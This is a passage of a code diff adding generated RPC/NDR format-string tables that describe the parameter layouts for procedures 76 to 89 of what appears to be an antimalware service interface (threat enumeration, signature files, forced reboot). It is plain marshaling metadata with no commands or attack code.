*/ +/* 4318 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 4320 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4322 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4324 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4326 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4328 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4330 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 4332 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4334 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 4336 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 4338 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4340 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_3 */ + +/* 4342 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4344 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4346 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4348 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4350 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4352 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc76_ServerMpRpcIdleNotificationClose */ + +/* 4354 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4356 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4360 */ NdrFcShort( 0x4c ), /* 76 */ +/* 4362 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4364 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 4366 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4368 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4370 */ NdrFcShort( 0x38 ), /* 56 */ +/* 4372 */ NdrFcShort( 0x5c ), /* 92 */ +/* 4374 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4376 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4378 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4380 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4382 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4384 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4386 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 4388 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4390 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 4392 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4394 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4396 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4398 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4400 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4402 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc77_ServerMpRpcNotifyIdle */ + +/* 4404 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4406 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4410 */ NdrFcShort( 0x4d ), /* 77 */ +/* 4412 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4414 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 4416 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4418 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4420 */ NdrFcShort( 0x2c ), /* 44 */ +/* 4422 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4424 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 4426 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4428 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4430 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4432 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4434 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 4436 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 4438 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4440 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 4442 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4444 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4446 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 4448 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4450 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4452 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4454 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4456 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4458 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc78_ServerMpRpcIdleCheckTaskCompletion */ + +/* 4460 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4462 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4466 */ NdrFcShort( 0x4e ), /* 78 */ +/* 4468 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4470 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 4472 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4474 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4476 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4478 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4480 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4482 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4484 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4486 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4488 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4490 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 4492 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 4494 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4496 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 4498 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4500 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4502 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4504 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4506 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4508 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc79_ServerMpRpcThreatOpen */ + +/* 4510 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 4512 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4516 */ NdrFcShort( 0x4f ), /* 79 */ +/* 4518 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 4520 */ NdrFcShort( 0x18 ), /* 24 */ +/* 4522 */ NdrFcShort( 0x5c ), /* 92 */ +/* 4524 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x6, /* 6 */ +/* 4526 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4528 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4530 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4532 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4534 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4536 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4538 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4540 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 4542 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4544 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4546 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 4548 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4550 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4552 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 4554 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 4556 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4558 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_5 */ + +/* 4560 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4562 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4564 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4566 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4568 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 4570 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc80_ServerMpRpcThreatEnumerate */ + +/* 4572 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4574 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4578 */ NdrFcShort( 0x50 ), /* 80 */ +/* 4580 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4582 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 4584 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4586 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4588 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4590 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4592 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 4594 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 4596 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4598 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4600 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4602 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 4604 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 4606 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4608 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 4610 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 4612 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4614 */ NdrFcShort( 0x406 ), /* Type Offset=1030 */ + + /* Parameter arg_2 */ + +/* 4616 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4618 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4620 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4622 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4624 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4626 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc81_ServerMpRpcThreatClose */ + +/* 4628 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4630 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4634 */ NdrFcShort( 0x51 ), /* 81 */ +/* 4636 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4638 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 4640 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4642 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4644 */ NdrFcShort( 0x38 ), /* 56 */ +/* 4646 */ NdrFcShort( 0x5c ), /* 92 */ +/* 4648 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4650 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4652 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4654 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4656 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4658 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4660 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 4662 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4664 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 4666 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4668 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4670 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4672 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4674 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4676 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc82_ServerMpRpcDbgThreatViewAction */ + +/* 4678 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4680 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4684 */ NdrFcShort( 0x52 ), /* 82 */ +/* 4686 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4688 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 4690 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4692 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4694 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4696 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4698 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4700 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4702 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4704 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4706 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4708 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4710 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4712 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 4714 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4716 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4718 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4720 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4722 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4724 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc83_ServerMpRpcForcedReboot */ + +/* 4726 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4728 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4732 */ NdrFcShort( 0x53 ), /* 83 */ +/* 4734 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4736 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 4738 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4740 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4742 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4744 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 4746 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4748 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4750 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4752 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4754 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4756 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4758 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4760 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 4762 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4764 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4766 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4768 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4770 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4772 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc84_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 4774 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4776 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4780 */ NdrFcShort( 0x54 ), /* 84 */ +/* 4782 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4784 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 4786 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4788 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4790 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4792 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 4794 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4796 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4798 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4800 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4802 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4804 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4806 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4808 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4810 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4812 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4814 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc85_ServerMpRpcAddFastPathSignatureFile */ + +/* 4816 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4818 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4822 */ NdrFcShort( 0x55 ), /* 85 */ +/* 4824 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 4826 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 4828 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4830 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4832 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4834 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 4836 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4838 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4840 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4842 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4844 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4846 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 4848 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4850 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 4852 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 4854 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4856 */ NdrFcShort( 0x70a ), /* Type Offset=1802 */ + + /* Parameter arg_3 */ + +/* 4858 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4860 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4862 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 4864 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4866 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4868 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4870 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4872 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 4874 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc86_ServerMpRpcRemoveFastPathSignatureFile */ + +/* 4876 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4878 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4882 */ NdrFcShort( 0x56 ), /* 86 */ +/* 4884 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 4886 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 4888 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4890 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4892 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4894 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 4896 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4898 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4900 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4902 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4904 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4906 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 4908 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4910 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 4912 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4914 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4916 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 4918 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4920 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4922 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4924 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4926 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4928 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc87_ServerMpRpcDynamicSignatureOpen */ + +/* 4930 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 4932 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4936 */ NdrFcShort( 0x57 ), /* 87 */ +/* 4938 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4940 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4942 */ NdrFcShort( 0x5c ), /* 92 */ +/* 4944 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 4946 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 4948 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4950 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4952 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4954 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 4956 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 4958 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4960 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 4962 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 4964 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4966 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_3 */ + +/* 4968 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 4970 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4972 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 4974 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 4976 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4978 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc88_ServerMpRpcDynamicSignatureEnumerate */ + +/* 4980 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 4982 */ NdrFcLong( 0x0 ), /* 0 */ +/* 4986 */ NdrFcShort( 0x58 ), /* 88 */ +/* 4988 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 4990 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 4992 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 4994 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 4996 */ NdrFcShort( 0x24 ), /* 36 */ +/* 4998 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5000 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 5002 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5004 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5006 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5008 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5010 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 5012 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 5014 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5016 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 5018 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 5020 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5022 */ NdrFcShort( 0x70a ), /* Type Offset=1802 */ + + /* Parameter arg_2 */ + +/* 5024 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5026 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5028 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5030 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5032 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5034 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc89_ServerMpRpcDynamicSignatureClose */ + +/* 5036 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5038 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5042 */ NdrFcShort( 0x59 ), /* 89 */ +/* 5044 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5046 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 5048 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5050 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5052 */ NdrFcShort( 0x38 ), /* 56 */ +/* 5054 */ NdrFcShort( 0x5c ), /* 92 */ +/* 5056 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 5058 */ 0xa, /* 10 */ 